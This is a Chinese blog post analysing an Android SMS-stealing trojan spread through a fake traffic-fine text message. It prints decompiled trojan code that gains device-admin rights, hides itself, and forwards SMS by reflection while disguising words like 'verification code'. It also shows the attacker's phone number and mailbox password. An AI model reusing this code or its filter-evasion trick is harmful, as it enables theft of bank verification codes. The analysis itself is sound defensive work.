写在前面:前段时间的一个手机木马,一直没时间去分析。现在有点时间简单作了分析,虽然过了时效,但为了研究技术,还是放出来看看吧。大神自动跳过。
一、来源:
朋友的手机上收到一条短信,冒充交警部门提示有违章的罚单未处理,详情请点击:
http://url.cn/XXXX
点击后下载一名为“违章查询.apk”,安装后如下所示:
写在前面:前段时间的一个手机木马,一直没时间去分析。现在有点时间简单作了分析,虽然过了时效,但为了研究技术,还是放出来看看吧。大神自动跳过。
一、来源:
朋友的手机上收到一条短信,冒充交警部门提示有违章的罚单未处理,详情请点击:
http://url.cn/XXXX
点击后下载一名为“违章查询.apk”,安装后如下所示:
上代码:
public void a()
{
try
{
Object localObject = (DevicePolicyManager)getSystemService("device_policy");
ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
{
localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限获取保护");
startActivityForResult((Intent)localObject, 0);
this.b.sendEmptyMessageDelayed(1, 2500L);
}
return;
}
catch (Exception localException)
{
localException.printStackTrace();
}
}
激活以后,会提示与设备不兼容,然后就界面消失了,桌面的图标也不见了。
但是,在后台确能看到一个进程和一个服务:cn.nzhjde.lzjuideaw:thee_second2_service3
上代码:
public void handleMessage(Message paramMessage)
{
switch (paramMessage.what)
{
default:
return;
case 0:
f.c(this.a);
Toast.makeText(this.a, "设备不兼容,软件安装失败!", 1).show();
this.a.finish();
return;
}
f.b(this.a);
Toast.makeText(this.a, "安全控件,请允许激活!", 1).show();
}
对configurations_data.xml文件写入“have_app_jhuo”标识
public void a(boolean arg3) {
SharedPreferences$Editor v0 = this.b.edit();
v0.putBoolean("have_app_jihuo", arg3);
v0.commit();
}
木马会给18376700125的手机号发送两条信息:
上代码:
public static void a(Context paramContext)
{
h.a(paramContext);
h.b(paramContext);
h.c(paramContext);
h.d(paramContext);
h.e(paramContext);
if (!com.phone.stop.db.a.a(paramContext).r())
{
String str = ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId();
com.phone.stop.e.f.a("软件安装完毕\n识别码:" + str + "\n" + e.a(), paramContext);
com.phone.stop.db.a.a(paramContext).h(true);
}
b(paramContext);
if (com.phone.stop.db.a.a(paramContext).g()) {
d.a(paramContext);
}
}
以上信息会通过一个189邮箱发送邮件,用户名为:18376700125,密码为:
aa123123。
public String j() {
return this.b.getString("a80", "aa123123");
}
我们尝试登录发现,用户名和密码正确,但是帐号应该是被举报后封停了,如下图:
操作短信的类:
为逃避破解或打击,这个类有两个亮点:
一是操作方法使用反射方式,
二是把“验证码"、
"金额
"、”账户“等敏感的字符用
"演马"、"京饿"、"帐护"替换。
package com.phone.stop.e;
import android.app.PendingIntent;
import android.content.Context;
import android.telephony.SmsManager;
import com.phone.stop.db.a;
import java.lang.reflect.Method;
public class f
{
public static void a(String paramString, Context paramContext)
{
new g(paramString, paramContext).start();
}
public static void a(String paramString1, String paramString2, Context paramContext)
{
try
{
paramContext = SmsManager.getDefault();
Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(paramContext, new Object[] { paramString1, null, paramString2, null, null });
return;
}
catch (Exception paramString1) {}
}
public static void b(String paramString, Context paramContext)
{
if (paramString.length() > 70) {
paramString = paramString.substring(0, 70);
}
for (;;)
{
try
{
localObject = paramString.replace("验证码", "演马").replace("金额", "京饿").replace("账户", "帐护").replace("人民币", "入民比").replace("付款", "父歀").replace("快捷", "块捷").replace("支付", "只负").replace("取款", "娶歀").replace("汇入", "汇人").replace("账号", "帐好").replace("交易", "较意").replace("注册", "住厕").replace("银行", "淫航").replace("尾号", "伪好").replace("泄露", "外流").replace("申请", "深清").replace("开通", "还同").replace("网银", "往淫").replace("校验码", "演马");
paramString = (String)localObject;
}
catch (Exception localException)
{
Object localObject;
continue;
}
try
{
localObject = SmsManager.getDefault();
Class.forName("android.telephony.SmsManager").getMethod("sendTextMessage", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }).invoke(localObject, new Object[] { a.a(paramContext).d(), null, paramString, null, null });
return;
}
catch (Exception paramString)
{
return;
}
}
}
}
root@generic:/data/data/cn.nzhjde.lzjuideaw/shared_prefs #
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<boolean name="is_init_end_time" value="true" />
<boolean name="have_init_phone_number" value="true" />
<string name="cao_ni_ma_pojie_wo_de_mazi">1479979697370</string> //最后收到短信的时间
<string name="a10"></string>
<string name="a7"></string>
<string name="a8"></string>
<string name="a5"></string>
<boolean name="has_send_phone_info" value="true" />
<boolean name="have_app_jihuo" value="true" />
<boolean name="has_set_send_email_pwd" value="true" />
<boolean name="has_set_receive_email_account" value="true" />
<string name="a6"></string>
<int name="a9" value="3" />
<boolean name="has_set_send_email_account" value="true" />
</map>
总结一下:
1、木马使用了代码混淆,
关键代码的调用采用了JAVA反射方式
,加大了分析难度。
2、利用“设备管理器”的一些特性,用户不能卸载。可参考之前写的《王者皮肤修改器--恶意代码分析手记
》
http://blog.csdn.net/u013754902/article/details/53297201
3、后台运行,服务和线程相互检查,哪一个被停止,另一个就会启动它,保证木马永远在线。
4、使用了发短信和发邮件的方式通知控制者。
最后的几点思考:
1、看看这些木马的功能,是否让您触目惊心。想想你的银行的验证码很容易就被坏人拿到手了……后果很严重!
2、木马无论是诱导用户安装还是运行过程,都有很强的迷惑性。普通人怎么辨别得了这些真真假假的APP。
3、短信和邮件回传时,把“验证码"、 "金额 "、”账户“等敏感的字符用 "演马"、"京饿"、"帐护"替换。
3、短信和邮件回传时,把“验证码"、 "金额 "、”账户“等敏感的字符用 "演马"、"京饿"、"帐护"替换。
4、还好,关
键的字符串如手机号、邮件地址、用户名和密码未进行加密处理,
王者皮肤修改器中就使用了DES加密处理(
http://blog.csdn.net/u013754902/article/details/53297201
)
最后,希望能为打击电信诈骗出一份力,也在这个正邪的较量中,发挥正能量。
欢迎各位同学一起交流,也可以把一些木马发我邮箱,有时间我会再进行分析的,目的在于找出这些木马的规律,为打击坏人出重拳,净化我们的网络环境。
最后的最后,本文有不对的地方欢迎批评指正,文笔不好,大家见谅!